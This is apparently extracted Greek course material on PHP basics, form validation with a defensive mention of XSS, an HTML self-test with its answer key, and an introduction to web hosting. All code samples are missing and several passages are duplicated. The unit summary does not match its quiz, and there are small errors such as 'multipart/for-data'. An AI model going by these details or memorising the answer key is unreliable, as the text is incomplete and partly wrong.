Συναρτήσεις για δεδομένα τύπου string Η συνάρτηση strlen(); Η συνάρτηση της PHP strlen(); επιστρέφει τον αριθμό χαρακτήρων μιας συμβολοσειράς ή μιας μεταβλητής που την εμπεριέχει Η συνάρτηση str_word_count(); Η συνάρτηση str_word_count(); επιστρέφει τον αριθμό λέξεων μίας συμβολοσειράς ή μιας μεταβλητής που την εμπεριέχει. Η συνάρτηση strrev(); Η συνάρτηση strrev(); Αντιστρέφει μια συμβολοσειρά ή μια μεταβλητή που την εμπεριέχει. Η συνάρτηση strpοs(); Η συνάρτηση strpοs(); ψάχνει για συγκεκριμένο κείμενο μέσα σε μια συμβολοσειρά και αν το βρει επιστρέφει τη θέση του χαρακτήρα όπου βρέθηκε το κείμενο για πρώτη φορά, αλλιώς επιστρέφει την τιμή FALSE. Μεταβλητές τύπου Array Μερικές φορές χρειάζεται να αποθηκευτούν παραπάνω από μια τιμές σε μια μεταβλητή. Σε αυτήν την περίπτωση πρέπει να χρησιμοποιηθεί ένας πίνακας με την χρήση μιας μεταβλητής τύπου array. Σε κάθε περίπτωση ο κώδικας θα δημιουργήσει μια μεταβλητή τύπου array με όνομα fruit που θα περιέχει τις τιμές «Apple», «Pear» και «Banana». Για την εύρεση του αριθμού των τιμών σε ένα array μπορεί να χρησιμοποιηθεί η συνάρτηση count(). Δομές επιλογής/επανάληψης στην PHP Μερικές φορές χρειάζεται να εκτελεστεί μια διαδικασία με τον ίδιο τρόπο πολλές φορές. Σε αυτήν την περίπτωση μπορεί να χρησιμοποιηθεί μια από τις δομές επανάληψης για την αυτοματοποίηση μέρους ή ακόμα και ολόκληρης τη διαδικασίας. 2.

Ο βρόχος do…while

Ο βρόχος do…while πάντα εκτελεί μια φορά το μπλοκ κώδικα που εμπεριέχει και μετά ελέγχει τη συνθήκη που τέθηκε. Αν η συνθήκη είναι αληθής τότε ο κώδικας που εμπεριέχεται θα συνεχίσει να εκτελείται μέχρι η συνθήκη να είναι ψευδής.

3.

Ο βρόχος for

Ο βρόχος for χρησιμοποιείται όταν είναι γνωστό εκ των προτέρων το πόσες φορές θα πρέπει να εκτελεστεί ένα κομμάτι κώδικα. Επίσης, μπορεί ο αριθμός στην παραπάνω συνθήκη να αντικατασταθεί με μια μεταβλητή στην οποία ανατίθεται τιμή σε άλλο μέρος του κώδικα και έτσι να μεταβληθεί δυναμικά ο αριθμός επαναλήψεων στο βρόχο. 4.

Ο βρόχος foreach

Ο βρόχος foreach χρησιμοποιείται μόνο σε μεταβλητές τύπου array και χρησιμοποιείται για να προσπελάσει ζευγάρια θέσης/τιμής.

Δομές επιλογής Οι δομές επιλογής/ελέγχου επιτρέπουν την αλλαγή της ροής εκτέλεσης του κώδικα θέτοντας συγκεκριμένες συνθήκες και ανάλογα με το αν οι συνθήκες αυτές είναι αληθείς ή όχι. Η δομή ελέγχου if και οι παραλλαγές της Η δομή ελέγχου if στην πιο απλή μορφή της χρησιμοποιείται για τον έλεγχο αν ένα τμήμα κώδικα θα εκτελεστεί σύμφωνα με μια συνθήκη. Εναλλακτικά με την παραλλαγή if…else ορίζεται μια συνθήκη και τα τμήματα κώδικα που θα εκτελεστούν ανάλογα με το αν αυτή η συνθήκη είναι αληθής ή ψευδής

Η δομή επιλογής switch Η δομή επιλογής switch χρησιμοποιείται όταν χρειάζεται να εκτελεστούν διαφορετικά τμήματα κώδι-κα ανάλογα με το αποτέλεσμα μιας συνθήκης (παρόμοια αλλά όχι ίδια με μια δομή if...elseif…else).

Στην πράξη υπάρχει μια συνθήκη (συνήθως μια μεταβλητή) η οποία αφού επιστρέψει μια τιμή , συγκρίνεται με τις τιμές για κάθε περίπτωση (case). Αν βρεθεί κάποια ισότητα τότε εκτελείται το αντίστοιχο τμήμα κώδικα και η δομή σταματάει να εκτελείται χωρίς να προχωρήσει στην επόμενη σύγκριση (αυτή είναι η διαφορά με τη δομή if…elseif…else). Σε περίπτωση που καμία από τις περιπτώσεις δεν ταιριάζει τότε εκτε-λείται το τμήμα κώδικα που αντιστοιχεί στην περίπτωση default. Στο παρακάτω παράδειγμα παρουσιάζεται η σύνταξη της δομής switch.

Οι δηλώσεις include και require Οι δηλώσεις include και require αντιγράφουν όλο τον κώδικα που υπάρχει σε ένα συγκεκριμένο αρχείο και τον παραθέτουν στο αρχείο που χρησιμοποιεί τη δήλωση. Αυτό είναι πολύ χρήσιμο στην περίπτωση που χρειάζεται σε πολλαπλές σελίδες ενός ιστοτόπου να υπάρχει το ίδιο κομμάτι κώδικα. Η διαφορά μεταξύ της include και της require είναι ότι όταν ένα αρχείο που δηλώνεται σε μια δήλωση include δεν μπορεί να εντοπιστεί από την PHP, ο κώδικας που ακολουθεί θα

εκτελεστεί, ενώ στην περίπτωση της require με το που εκτελεστεί η εντολή και το αρχείο δεν εντοπιστεί, η εκτέλεση θα σταματήσει και θα εμφανιστεί μήνυμα λάθους.

Κανόνες για τις δηλώσεις include και require: Όταν ένα αρχείο είναι σημαντικό και πρέπει οπωσδήποτε να υπάρχει για την ομαλή λειτουργία του script χρησιμοποιείται η δήλωση require.

Όταν ένα αρχείο δεν είναι

σημαντικό και η συνέχεια του script δεν επηρεάζεται από την απουσία του χρησιμοποιείται η δήλωση include.

Υπάρχει ένα αρχείο με το μενού ενός ιστοτόπου με όνομα menu.php: Αντί σε κάθε ξεχωριστή ιστοσελίδα να πρέπει να γραφεί ο ίδιος κώδικας, η χρήση της δήλωσης require θα κάνει πιο εύκολη και την τροποποίηση του χωρίς να χρειάζεται να γίνουν αλλαγές σε κάθε μια ι-στοσελίδα ξεχωριστά:

Τα sessions (σύνοδοι) είναι ένας τρόπος για να αποθηκεύονται προσωρινά μεταβλητές και δεδομένα για την αξιοποίηση τους σε πολλαπλές σελίδες ενός ιστοτόπου. Τα sessions (σύνοδοι) είναι ένας τρόπος για να αποθηκεύονται προσωρινά μεταβλητές και δεδομένα για την αξιοποίηση τους σε πολλαπλές σελίδες ενός ιστοτόπου. Τα δεδομένα αυτά από τη στιγμή που θα δημιουργη-θούν αποθηκεύονται προσωρινά στη μνήμη του υπολογιστή μέχρι ο χρήστης να κλείσει τον περιηγητή ιστοσελίδων ή ο προγραμματιστής να δηλώσει το κλείσιμο του session σε κάποιο σημείο του κώδικα (π.χ. κατά την αποσύνδεση του χρήστη, log out από ένα ιστότοπο). Ένα session ξεκινάει με τη συνάρτηση session_start() και οι μεταβλητές υποδηλώνονται με τη μορφή $_SESSION["variable_n

Δημιουργία μιας ιστοσελίδας με όνομα «session_test1.php»

Στην παραπάνω ιστοσελίδα έχει ξεκινήσει ένα session και έχουν δηλωθεί δυο μεταβλητές (όνομα και επάγγελμα).

Φόρμες και επικύρωση δεδομένων Οι φόρμες είναι ο τρόπος με τον οποίο γίνεται η συλλογή δεδομένων από το χρήστη στην PHP. Μπορεί να είναι ένα απλό πλαίσιο κειμένου, μια σειρά από πλαίσια ελέγχου (checkboxes), κουμπιά επιλογής (radial buttons) και άλλα.

Σε ένα απλό παράδειγμα φόρμας ο χρήστης εισάγει το όνομα του σε ένα πλαίσιο κειμένου και αφού επιλέξει το κουμπί «submit» τα δεδομένα αποστέλλονται με τη μέθοδο HTTP POST σε ένα άλλο αρχείο «sentdatatest.php» για επεξεργασία ή στη συγκεκριμένη περίπτωση απλή εμφάνιση.

Και ο κώδικας του αρχείου «sentdatatest.php» Υπάρχει άλλη μια μέθοδος με την οποία αποστέλλονται τα δεδομένα μεταξύ ιστοσελίδων που έχει σύνταξη ίδια με την $_POST αλλά κάποιες πολύ σημαντικές διαφορές. Η μέθοδος $_GET μεταφέρει δεδομένα σαν παραμέτρους του URL σε αντίθεση με την $_POST που τα μεταφέρει μέσω της μεθόδου HTTP POST. Δεδομένα που έχουν σταλεί με τη μέθοδο $_GET είναι ορατά σε όλους, καθώς εμφανίζονται στο URL αλλά αυτό είναι θεμιτό σε μερικές περιπτώσεις που τα δεδομένα δεν είναι ευαίσθητα και υπάρχει περίπτωση να χρειάζεται η ιστοσελίδα με τα συγκεκριμένα δεδομένα να μπει σαν σελιδοδείκτης (π.χ. bookmark σε συγκεκριμένο αντικείμενο ενός e-shop). Επίσης, η μέθοδος $_GET έχει όριο 2000 χαρακτήρων για τις μεταβλητές/δεδομένα που αποστέλλονται μέσω αυτής. Η μέθοδος $_POST δεν έχει όριο χαρακτήρων και τα δεδομένα που αποστέλλονται μέσω αυτής είναι αόρατα προς άλλους οπότε είναι ιδανική για ευαίσθητα δεδομένα όπως κωδικοί. Επίσης, η μέθοδος $_GET έχει όριο 2000 χαρακτήρων για τις μεταβλητές/δεδομένα που αποστέλλονται μέσω αυτής. Η μέθοδος $_POST δεν έχει όριο χαρακτήρων και τα δεδομένα που αποστέλλονται μέσω αυτής είναι αόρατα προς άλλους οπότε είναι ιδανική για ευαίσθητα δεδομένα όπως κωδικοί. Η $_SERVER[“PHP_SELF”] όμως από μόνη της αφήνει ένα σημαντικό κενό ασφάλειας στη μορφή του cross site scripting (XSS), γι’ αυτό είναι σημαντικό τα δεδομένα να περνάνε πρώτα

από τη συνάρτηση htmlspecialchars() η οποία επιτρέπει ειδικούς χαρακτήρες που χρησιμοποιούνται σε επιθέσεις XSS σε οντότητες HTML και τους καθιστά άχρηστους. Έστω όμως ότι ο χρήστης εισάγει στο URL

Στην παραπάνω περίπτωση λόγω της $_SERVER[“PHP_SELF”] ο κώδικας θα μεταφραστεί όπως φαίνεται στην διαφάνεια Στην παραπάνω περίπτωση λόγω της $_SERVER[“PHP_SELF”] ο κώδικας θα μεταφραστεί όπως φαίνεται στην διαφάνεια

Το επόμενο βήμα είναι η δημιουργία μιας συνάρτησης που θα λαμβάνει δεδομένα και χρησιμοποιεί τη συνάρτηση: htmlspecialchars() για να μειώσει το ρίσκο επίθεσης μέσω δεδομένων. stripslashes() για την αφαίρεση ανάστροφων καθέτων από τα δεδομένα.

trim() για την αφαίρεση περιττών χαρακτήρων (ειδικούς χαρακτήρες, στηλοθέτες(tab) κ.α.). Η συνάρτηση θα έχει ως εξή

Έτσι, τώρα κάθε φορά που ο χρήστης πατάει το κουμπί submit τα δεδομένα πρώτα περνάνε από τον έλεγχο της συνάρτησης test_input(). Επίσης, το $_SERVER["REQUEST_METHOD"] == "POST" ενεργοποιείται αν ο χρήστης πατήσει το κουμπί submit αλλιώς το κομμάτι κώδικα αγνοείται και εμφανίζεται η κενή φόρμα (π.χ. την πρώτη φορά που ο χρήστης θα εισέλθει στην ιστοσελίδα). Το επόμενο βήμα είναι η μετατροπή των πεδίων που θεωρούνται σημαντικά σε υποχρεωτικά και η δημιουργία μηνυμάτων λάθους στην περίπτωση που ο χρήστης δεν εισάγει δεδομένα ή εισάγει λάθος δεδομένα σε ένα υποχρεωτικό πεδίο.

Στον παραπάνω κώδικα εισάγονται μερικές καινούριες μεταβλητές ($nameErr, $emailErr και $genderErr) που θα περιέχουν τα μηνύματα λάθους, και κανόνες για την περίπτωση που ο χρήστης αφήσει ένα πεδίο που είναι υποχρεωτικό κενό. Επιπλέον, στο κομμάτι κώδικα της φόρμας προστίθενται τμήματα PHP κώδικα για την εμφάνιση του μηνύματος λάθους αν ο χρήστης δεν εισάγει δεδομένα:

Στο επόμενο βήμα πρέπει να ελεγχθεί αν το όνομα και το e-mail είναι σωστά. Το όνομα θα πρέπει να περιέχει μόνο χαρακτήρες και κενά και το e-mail να έχει σωστή μορφή. Για το όνομα θα χρησιμοποιηθεί μια κανονική έκφραση και η συνάρτηση της PHP «preg_match()» για τον έλεγχο των χαρακτήρων και για το e-mail η συνάρτηση της PHP «filter_var()».

Στο επόμενο βήμα πρέπει να ελεγχθεί αν το όνομα και το e-mail είναι σωστά. Το όνομα θα πρέπει να περιέχει μόνο χαρακτήρες και κενά και το e-mail να έχει σωστή μορφή. Για το

όνομα θα χρησιμοποιηθεί μια κανονική έκφραση και η συνάρτηση της PHP «preg_match()» για τον έλεγχο των χαρακτήρων και για το e-mail η συνάρτηση της PHP «filter_var()».

Ένα ακόμα είδος φόρμας που έχει όμως αρκετή διαφορά με τα είδη που παρουσιάστηκαν παραπάνω είναι η φόρμα μεταφόρτωσης (uploading) αρχείων και ο κώδικας που είναι απαραίτητος για τη διαχείρισή/αποθήκευσή τους.

Σημαντικό είναι να σημειωθεί ότι αν δεν τεθεί το method= “post” και το enctype= “multipart/for-data” η μεταφόρτωση δεν λειτουργεί. Παρουσιάζεται το αρχείο «upload.php» που αναλαμβάνει τη μεταφόρτωση του αρχείου που επιλέχθηκε από την παραπάνω φόρμα:

Η μεταβλητή $target_dir καθορίζει το φάκελο στον οποίο θα αποθηκευτεί το αρχείο. Ο φάκελος αυτός θα πρέπει, στη συγκεκριμένη περίπτωση, να είναι στο ίδιο μέρος που βρίσκεται το αρχείο «upload.php» και να έχει δημιουργηθεί από διαχειριστή γιατί η PHP δεν έχει δικαιώματα δημιουργίας φακέλων για λόγους ασφάλειας. Η μεταβλητή $target_file περιέχει τη διαδρομή και το όνομα του αρχείου προς μεταφόρτωση. Η μεταβλητή $imageFileType περιέχει την επέκταση του αρχείου προς μεταφόρτωση και χρησιμοποιείται για να καθορίσουμε ότι το αρχείο είναι στην πραγματικότητα αρχείο εικόνας. Η επόμενη συνθήκη μας επιτρέπει να θέσουμε συγκεκριμένους τύπους αρχείων εικόνας που είναι επιτρεπτοί για μεταφόρτωση και αν η εικόνα που μεταφορτώνεται δεν ανήκει σε κάποιον από αυτούς τότε εμφανίζεται μήνυμα λάθους. Η τελευταία συνθήκη περιέχει τη

μεταβλητή $uploadOk που χρησιμοποιείται σαν σημαία για το αν συνέβη κάποιο πρόβλημα σε όλους τους προηγούμενους ελέγχους. Αφού ξεπεράστηκαν όλοι οι έλεγχοι η εντολή που φαίνεται παρακάτω μεταφέρει το αρχείο στον προκαθορισμένο φάκελο. Πάλι, αν υπάρξει κάποιο πρόβλημα (π.χ. δεν υπάρχει αρκετός χώρος στο σκληρό δίσκο του server) εμφανίζεται μήνυμα λάθους, αλλιώς εμφανίζεται μήνυμα επιτυχούς μεταφόρτωσης.

Σύνοψη Εκπαιδευτικής Ενότητας 4 Στην ενότητα 4, παρουσιάστηκαν αντικείμενα που αναφέρονται: Περιεκτικότητα πληροφορίας Χρήση πολυμεσικού υλικού Photoshop Χρωματικά συστήματα Το Βίντεο ως Σήµα Έγχρωµη Επεξεργασία Εικόνας Επεξεργασία Βίντεο Το βίντεο AVI Επεξεργασία αρχείων AVI µε το WinAPI Image Processing Library

Ερωτήσεις Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 4 Επιλέξτε τη σωστή απάντηση στις παρακάτω ερωτήσεις / διατυπώσεις

ΕΡΩΤΗΣΗ 1: Η ετικέτα <canvas> ορίζει μια ορθογώνια περιοχή, που μπορεί να εμφανίσει διάφορα γραφικά σε μια σελίδα, από απλά διαγράμματα μέχρι κινούμενα γραφικά και εξωτερικές εικόνες. α. ΣΩΣΤΟ β. ΛΑΘΟΣ

ΕΡΩΤΗΣΗ 2: Η παράμετρος src χρησιμοποιείται για ορίσει το αρχείο βίντεο. α. ΣΩΣΤΟ β. ΛΑΘΟΣ

ΕΡΩΤΗΣΗ 3: Η ετικέτα <svg> αναφέρεται σε προθήκη κειμένου σε μια ιστοσελίδα. α. ΣΩΣΤΟ β. ΛΑΘΟΣ

ΕΡΩΤΗΣΗ 4: Η ιδιότητα shape="rect" ορίζει ότι την περιοχή του κειμένου που θα είναι ενεργό θα έχει ορθογώνιο σχήμα. α. ΣΩΣΤΟ β. ΛΑΘΟΣ ΕΡΩΤΗΣΗ 5: Κατά την εισαγωγή της εικόνας εκτός από τις διαστάσεις της θα πρέπει να μας ενδιαφέρει και η στοίχιση της σε σχέση με το κείμενο της σελίδας α. ΣΩΣΤΟ β. ΛΑΘΟΣ

ΕΡΩΤΗΣΗ 6: Στην HTML 5 oι ετικέτες <article>, <header>, <footer>, <nav>, <section> αντικαθιστούν τα πολλαπλά ……. για την οριοθέτηση τμημάτων διαφορετικού περιεχομένου, τα οποία χρησιμοποιούνταν στις προηγούμενες εκδόσεις. α. <meta> β. <head> γ. <div>

ΕΡΩΤΗΣΗ 7: H ετικέτα <iframe> δημιουργεί ένα πλαίσιο στην σελίδα μέσα στο οποίο μας δίνεται η δυνατότητα να ενσωματώσουμε μόνον κείμενο α. ΣΩΣΤΟ β. ΛΑΘΟΣ

ΕΡΩΤΗΣΗ 8: Οι εικονοχάρτες όπως θα μπορούσαμε να μεταφράσουμε την φράση “image pic” είναι εικόνες που αποτελούνται από «ενεργές» περιοχές α. ΣΩΣΤΟ β. ΛΑΘΟΣ

ΕΡΩΤΗΣΗ 9: Κατά την ενσωμάτωση του Youtube σε μια ιστοσελίδα η τιμή 0 σημαίνει: α. τα κουμπιά του player είναι πάντα ορατά αφού αρχίσει η αναπαραγωγή του video β. τα κουμπιά του player «κρύβονται» αυτόματα γ. Κανένα από τα παραπάνω

ΕΡΩΤΗΣΗ 10: Οι screen readers είναι λογισμικό, προγράμματα που χρησιμοποιούνται από χρήστες με ειδικές ανάγκες. α. ΣΩΣΤΟ β. ΛΑΘΟΣ

Απαντήσεις Ερωτήσεων Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 4 1:

Απάντηση 1. Α

2:

Απάντηση 2. Α

3:

Απάντηση 3. Β

4:

Απάντηση 4. Β

5:

Απάντηση 5. Α

6:

Απάντηση 6. Γ

7:

Απάντηση 7. Β

8:

Απάντηση 8 Β

9:

Απάντηση 9. Α

10:

Απάντηση 10. Α

ΕΚΠΑΙΔΕΥΤΙΚΗ ΕΝΟΤΗΤΑ 5: Εργαλεία ανάπτυξης Ηλεκτρονικού Εμπορίου (e-shop) ΣΚΟΠΟΣ Σκοπός αυτής της εκπαιδευτικής ενότητας είναι η παρουσίαση των παρακάτω αντικειμένων: Ιστοσελίδες και Διαδίκτυο, Αρχεία HTML Βασικές εντολές HTML. Λίστες & πίνακες Ειδικοί Χαρακτήρες Βασικοί κανόνες CSS, ιδιότητες που αφορούν μορφοποίηση κειμένου Κληρονομικότητα ΠΡΟΣΔΟΚΩΜΕΝΑ ΑΠΟΤΕΛΕΣΜΑΤΑ Όταν ολοκληρώσετε τη μελέτη του υλικού της εκπαιδευτικής ενότητας θα είστε σε θέση να γνωρίζετε τις βασικές εντολές της HTML και να κατασκευάζετε ιστοσελίδες με την γλώσσα HTML, να γνωρίζετε τις βασικές εντολές της CSS και να κατασκευάζετε ιστοσελίδες με την γλώσσα HTML:5 και CSS: ΕΝΝΟΙΕΣ – ΚΛΕΙΔΙΑ ΗΤΜL, tags, classes, lists, tables, frames, colors, CSS, CSS3, FONTS, TEXT, IMAGES, TABLES, BORDERS. Εκπαιδευτική Υποενότητα 5.1 Γενικά Ιστοσελίδων Παγκόσμιος ιστός Παγκόσμιος ιστός ονομάζεται το δίκτυο των συνδεδεμένων υπολογιστών και δικτύων σε παγκόσμιο επίπεδο, το οποίο χρησιμοποιεί την ομάδα πρωτοκόλλων επικοινωνίας, http Η τεχνολογία του ιστού Η τεχνολογία του ιστού δημιουργήθηκε το 1989 από τον Βρετανό τιμ Μπέρνερς, που εκείνη την εποχή εργαζόταν στον Ευρωπαϊκό Οργανισμό Πυρηνικών Ερευνών (CERN) στην Γενεύη της Ελβετίας. Το όνομα που έδωσε στην εφεύρεσή του ο ίδιος ο Lee είναι WorldWideWeb, όρος γνωστός στους περισσότερους από το "www". Αυτό που οδήγησε τον Lee στην εφεύρεση του Παγκόσμιου ιστού ήταν το όραμά του για ένα κόσμο όπου ο καθένας θα μπορούσε να ανταλλάσσει πληροφορίες και ιδέες άμεσα

προσβάσιμες από τους υπολοίπους. Το σημείο στο οποίο έδωσε ιδιαίτερο βάρος ήταν η μη ιεράρχηση των δια συνδεδεμένων στοιχείων. Οραματίστηκε κάθε στοιχείο, κάθε κόμβο του ιστού ίσο ως προς την προσβασιμότητα με τα υπόλοιπα. Αν σκεφτεί, όμως, κανείς τον βαθμό ιεράρχησης με τον οποίο λειτουργούν οι μηχανές αναζήτησης του ιστού, όπως για παράδειγμα το google, γίνεται εύκολα κατανοητό ότι στην πράξη κάτι τέτοιο δεν συμβαίνει, τουλάχιστον στον βαθμό που το είχε οραματιστεί ο Lee. Λίγο μετά τις αρχές της δεκαετίας του '90 ο παγκόσμιος ιστός άλλαξε σημαντικά και έτσι έγινε η πιο δημοφιλής υπηρεσία του διαδικτύου, αφού συνδύαζε πια εικόνα και ήχο κάνοντας το περιβάλλον πιο φιλικό προς το χρήστη. Σήμερα ο Παγκόσμιος Ιστός περιέχει πληροφορίες με εικόνα, ήχο, κείμενο και βίντεο. Η περιήγηση γίνεται με τη χρήση προγραμμάτων περιήγησης ή αλλιώς φυλλομετρητές (webbrowsers) και οι πληροφορίες εμφανίζονται σε μορφή ιστοσελίδων (webpages). Κάποιοι από τους πιο δημοφιλείς φυλλομετρητές είναι: • MozillaFirefox • InternetExplorer (μετεξελίχθηκε στον Microsoft Edge) • GoogleChrome • Safari • Opera Όλοι τους διανέμονται δωρεάν, έτσι ο απλός χρήστης καλείται να επιλέξει με ποιόν θα περιηγηθεί στο διαδίκτυο. Οι προγραμματιστές και οι κατασκευαστές ιστοσελίδων καλό είναι να τους έχουν όλους ώστε να ελέγχουν την εμφάνιση του περιεχομένου που δημιουργούν. Για να μπορέσουμε να περιηγηθούμε μέσω ενός φυλλομετρητή σε μία ιστοσελίδα, θα πρέπει να γνωρίζουμε το URL(UniformResourceLocator) της σελίδας, το οποίο είναι πάντα σε λατινικούς χαρακτήρες και είναι μοναδικό. Η μορφή του είναι ως εξής www.example.gr όπου το «www» αναφέρεται στον παγκόσμιο ιστό, το «example» είναι το όνομα της σελίδας και το «gr» η χώρα από την οποία προέρχεται η συγκεκριμένη ιστοσελίδα. Στις Η.Π.Α. βέβαια υπάρχουν και σελίδες με κατάληξη .gov .edu .net .mil .org όπου αντίστοιχα αναφέρονται σε σελίδες με κυβερνητικό, εκπαιδευτικό, δικτυακό, στρατιωτικό και περιεχόμενο οργανισμών. Ο συνδυασμός των τριών αυτών μερών που είναι μοναδικός, ονομάζεται domainname. Είδαμε την ονομαστική διεύθυνση ενός υπολογιστή στο διαδίκτυο, πέρα από την ονομαστική διεύθυνση όμως υπάρχει και η αριθμητική διεύθυνση ή αλλιώς IPAddress. Αυτή αποτελείται

από τέσσερις ομάδες αριθμών που χωρίζονται αναμεταξύ τους από τελείες και αντιστοιχούν στον αριθμό του δικτύου και του υπολογιστή μέσα σε αυτό (π.χ. 192.168.1.254). Ιστότοπος ή website ονομάζεται το σύνολο των σελίδων που βρίσκονται αποθηκευμένες κάτω από το ίδιο domainname. Για την περιήγηση μεταξύ αυτών συνήθως υπάρχουν σύνδεσμοι (links) με τη μορφή απλού κειμένου ή εικόνας όπου μας ανακατευθύνουν σε άλλη ιστοσελίδα του ίδιου ή διαφορετικού ιστότοπου. Για να μπορέσει να λειτουργήσει ένα website θα πρέπει να είναι αποθηκευμένο σε έναν Webserver. Webserver ονομάζουμε τον υπολογιστή εκείνο που φιλοξενεί και δημοσιεύει την ιστοσελίδα μας στο διαδίκτυο.

Εξυπηρετητής (Server) Εξυπηρετητής ή διακομιστής (server) είναι υλικό ή / και λογισμικό που αναλαμβάνει την παροχή διάφορων υπηρεσιών, «εξυπηρετώντας» αιτήσεις άλλων προγραμμάτων, γνωστούς ως πελάτες (clients) που μπορούν να τρέχουν στον ίδιο υπολογιστή ή σε σύνδεση μέσω δικτύου. Όταν ένας υπολογιστής εκτελεί κυρίως τέτοια προγράμματα εξυπηρετητές συνεχόμενα, 24 ώρες την ημέρα, τότε μπορούμε να αναφερθούμε σε όλον τον υπολογιστή ως εξυπηρετητή, αφού αυτή είναι η κύρια λειτουργία του. Παρομοίως, ως πελάτη μπορούμε να θεωρήσουμε είτε κάποιο λογισμικό που επικοινωνεί και υποβάλει αιτήματα στον εξυπηρετητή, είτε σε όλο τον υπολογιστή όταν ο εξυπηρετητής είναι άλλος υπολογιστής και οι 2 υπολογιστές είναι συνδεδεμένοι σε ένα δίκτυο. Τα περισσότερα λειτουργικά συστήματα έχουν ειδική έκδοση για χρήση ως εξυπηρετητή ή μπορούν να διαμορφωθούν έτσι εκ τον υστέρων εκτελώντας λογισμικό που κάνει την εξυπηρέτηση. Συνηθισμένοι εξυπηρετητές-προγράμματα στο Ίντερνετ είναι: • Παγκόσμιου Ιστού με το πρωτόκολλο http (httpserver) • Domain Name System (DNS server) • Ηλεκτρονικού ταχυδρομείου (mailserver) • Μεταφοράς αρχείων με το πρωτόκολλο FTP (ftpserver) • Επικοινωνίες φωνής • streaming audio και video (streaming server) • Online παιχνίδια

Τι είναι το webhosting; 1. Η φιλοξενία ιστοσελίδων [Web Hosting ή απλά hosting) είναι ένα μια διαδικτυακή υπηρεσία που επιτρέπει σε ιδιώτες και εταιρείες να διαθέτουν μία ιστοσελίδα συνεχώς αναρτημένη στο Διαδίκτυο, χωρίς να χρειάζεται να επιβαρύνεται με το κόστος του ανάλογου εξοπλισμού (π.χ. εξυπηρετητές) ή την ανάγκη εξυπηρέτησης μεγάλου αριθμού εξωτερικών συνδέσεων και εύρους σύνδεσης (bandwidth). Αυτό το αναλαμβάνουν οι εταιρίες φιλοξενίας ιστοσελίδων (webhosts) που προσφέρουν χώρο στον διακομιστή τους καθώς και μέρος της σύνδεσής τους προς το internet. 2. O όρος Web Hosting αναφέρεται στη διαδικασία με την οποία ο ιδιοκτήτης μίας ιστοσελίδας ενοικιάζει χώρο σε υπολογιστές (διακομιστές) για να τοποθετήσει τα αρχεία του. Τα αρχεία αυτά, που στοιχειοθετούν την ιστοσελίδα του, προσφέρονται μέσω ασφαλούς δικτύου συνεχόμενης παροχής στους επισκέπτες του. 3. Η διαχείριση του ιστότοπου από τον ιδιοκτήτη του γίνεται μέσω εμπορικού ή ανοικτού κώδικα γραφικού περιβάλλοντος [πίνακας ελέγχου hosting, controlpanel), το οποίο παρέχει δυνατότητα διαχείρισης του email, του ftp, των στατιστικών επισκεψιμότητας του ιστότοπου, των εγκατεστημένων διαδικτυακών εφαρμογών και τεχνολογιών κ.α.

4. O ιδιοκτήτης του ιστότοπου μπορεί να ανεβάζει τα αρχεία του μέσω προγράμματος FTP στο διακομιστή φιλοξενίας και να τα τροποποιεί, να έχει ηλεκτρονική αλληλογραφία [ηλεκτρονικό ταχυδρομείο, e-mail] και να εγκαθιστά τις επιθυμητές διαδικτυακές εφαρμογές στον ιστότοπο του [ίστολόγω/blog, forum, βιβλίο επισκεπτών κλπ). Μερικοί από αυτούς τους πίνακες ελέγχου φιλοξενίας είναι το Plesk, το Cpanel, το Webmin κ.α.

5. Για την δημοσίευση ενός site στο internet απαιτούνται: • To site αποθηκευμένο στον υπολογιστή μας έτοιμο προς δημοσίευση. • Όνομα του website. Θα πρέπει να γίνει επιλογή του επιθυμητού domainname. Τις περισσότερες φορές το domainname που επιλέγεται είναι σχετικό με το περιεχόμενο της σελίδας, έτσι οι επισκέπτες/χρήστες το απομνημονεύουν ευκολότερα. Ένα πακέτο webhosting, από εταιρία που προσφέρει τέτοιου είδους υπηρεσίες Οι δυναμικές ιστοσελίδες, σε πολλές περιπτώσεις, μπορεί στην εμφάνιση να μην έχουν μεγάλη διαφορά με τις στατικές, όμως οι δυνατότητές που παρέχουν είναι πολύ

περισσότερες, αφού στην περίπτωση αυτή η σελίδα συμπεριφέρεται σαν μία εφαρμογή (πρόγραμμα), και όχι σαν ένα απλό ηλεκτρονικό έγγραφο Τις περισσότερες φορές, οι δυναμικές ιστοσελίδες χρησιμοποιούν κάποια βάση δεδομένων (database), όπου ανακτούν και αποθηκεύουν πληροφορίες, ανάλογα με την επιθυμία του επισκέπτη. Τις περισσότερες φορές, οι δυναμικές ιστοσελίδες χρησιμοποιούν κάποια βάση δεδομένων (database), όπου ανακτούν και αποθηκεύουν πληροφορίες, ανάλογα με την επιθυμία του επισκέπτη. Για ακόμα ευκολότερη διαχείριση του περιεχομένου σε μία δυναμική

ιστοσελίδα,

υπάρχει

πρόσθετα

ένας

εύχρηστος

μηχανισμός

"CMS"

(ContentManagmentSystem), μέσω του οποίου η προσθαφαίρεση περιεχομένου δεν απαιτεί εξειδικευμένες γνώσεις προγραμματισμού από τον χρήστη , έτσι μπορεί να γίνει ακόμη και από κάποιον αρχάριο. Αυτή η ευαίσθητη περιοχή διαχείρισης της ιστοσελίδας, προστατεύεται με κωδικό πρόσβασης (password) και δεν μπορούν να εισέλθουν σε αυτήν οι επισκέπτες της, με μόνη εξαίρεση τον διαχειριστή. Ως βασικές κατηγορίες ιστοσελίδων θα μπορούσαν να θεωρηθούν οι παρακάτω: 1. Ιστοσελίδες Οργανισμών – Ιστοσελίδες Ιδρυμάτων Στην

κατηγορία

Ιστοσελίδες

Οργανισμών

και

Ιδρυμάτων

ανήκουν

Ιστοσελίδες

